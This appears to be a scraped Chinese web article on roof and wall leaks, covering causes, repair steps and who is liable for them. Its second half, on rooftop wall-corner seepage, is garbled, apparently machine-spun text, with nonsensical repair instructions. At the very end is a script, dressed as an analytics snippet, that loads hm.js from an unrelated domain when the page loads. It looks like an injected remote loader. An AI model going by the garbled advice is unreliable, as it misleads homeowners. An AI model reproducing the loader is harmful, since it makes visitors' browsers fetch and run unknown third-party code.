房屋漏水、房顶渗漏怎么办

房屋漏雨、房顶渗漏常常会给我们的生活带来很大的麻烦。一下大雨，渗漏的房屋外墙便容易出现渗漏，容易导致外墙霉迹斑斑。遇到这种状况的业主朋友们该如何处理?小编今天就这个问题找寻了相关专家，得到以下答案：房屋装修漏水问题处理：对于漏水问题，首先要通过房屋质检部门确定漏水的原因及责任人，如果属于房屋本身的质量问题，可以要求物业修理。如果是邻居造成的，可以要求对方恢复原状，不能恢复原状的，可以要求赔偿损失。对方拒不赔偿的可以起诉，但是建议协商解决。房屋渗漏原因多？找对原因是关键！为什么看似结实的房子会漏雨，而又很难修好?专业人士分析：楼板结构问题。有可能是因为年久的原因，更可能是因为质量的原因，这个房顶漏水原因，楼板在使用的过程中出现问题，因此造成漏水。那么遇到这样子的问题，我们的业主朋友们改怎么办?在把房顶漏水原因查明以后，就需要针对性地来解决这个问题了，如果是楼上层施工的问题，那就要找对方，让对方做防水，如果是其他的原因，那就要找专业的补漏师傅了。房屋渗漏如何修？由于下雨天楼面潮湿，防水胶无法粘贴，因此治漏处理最好安排在晴天。补漏时应先将漏水部位凿开，用专业补漏补墙材料封闭处理后，再涂上一层保护层。对于外墙渗水，因为与混凝土的收缩性有关，就需要高空作业，将原来的饰面层打掉，进行补漏后再恢复。在渗漏责任处理上，相关专业人员建议，因房屋质量造成漏水，且房屋还在保修期内，业主可要求开发商免费维修。装修施工过程中出现漏水，应按施工合同找施工单位。如果楼上业主违规改建、装修导致楼下业主渗漏的，受损方可要求楼上业主进行维修。要求得不到回应的，可通过诉讼要求楼上业主恢复原来结构。对于顶楼业主，如果漏水发生在保修期内，可要求开发商免费维修。但如果渗漏是由于在上面加建造成的，则应由加建方承担防漏责任。总之，碰到这种情况，是每位业主朋友都不能接受的。但我们只有仔细查找房屋漏水的原因，才能针对性地找出解决的办法。相信读完本篇文章的朋友，一定能够及时处理类似的问题，当然最好不要出现类似问题!

楼顶墙角渗水怎么办及楼顶墙角为什么会渗水

对于居住在顶层的业主来说，最令人担忧的问题可能是屋顶渗水。大部分人在遇到这种情况时，都是无从下手。那么，楼顶墙角渗水怎么办？楼顶墙角为什么会渗水？一、楼顶墙角渗水怎么办？1、楼顶墙角渗水怎么办——找到渗水点。在正常情况下，需要找到泄漏应遵循“从高到低”的原则。检查在下层破解，老化不透水层，如果错过了防水效果，并且如果防水膜已进入气泡。如果防水卷材内有气泡，则表示水已渗入防水层。此时，漏水问题严重。此外，有必要验证下层的通道是否被阻挡。2、楼顶墙角渗水怎么办——切割从天花板滴下的部分，并将不透水材料涂在滴水部位。倘若屋顶先前已经防水，则这种情况相对更成问题。首先，取下以前的防水层并重新防水。这里，需要在新防水层和旧防水层之间形成加强层。除隔热板外，房主还可以使用混凝土。3、楼顶墙角渗水怎么办？倘若屋顶漏水面积大，或者如果有更多的部门泄漏，要请专业的人处理裂缝后，放置防水卷材。4、倘若房主对此感觉不舒服，您可能需要在屋顶上放置隔热材料。保温板不仅可以达到防水效果，还起到保温隔热的作用。5、另外，屋顶漏水的处理方法不均匀，处理方法也不同。在正常情况下，屋顶漏水应由专业疏水阀人员处理。6、要是渗水严重，没有修补的可能，只需用新瓷砖替换它。​二、楼顶墙角为什么会渗水？1、漏的主要原因是，该屋顶结构不够合理，在雨后的墙壁会漏水或起霉斑。倘若在此期间遇到问题，则需要重做防水。倘若没有找到渗水处，可能是管道的破裂了。2、房子的使用寿命太长，再加上缺乏维修工作，导致防水材料老化，那房屋渗水也是很正常的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();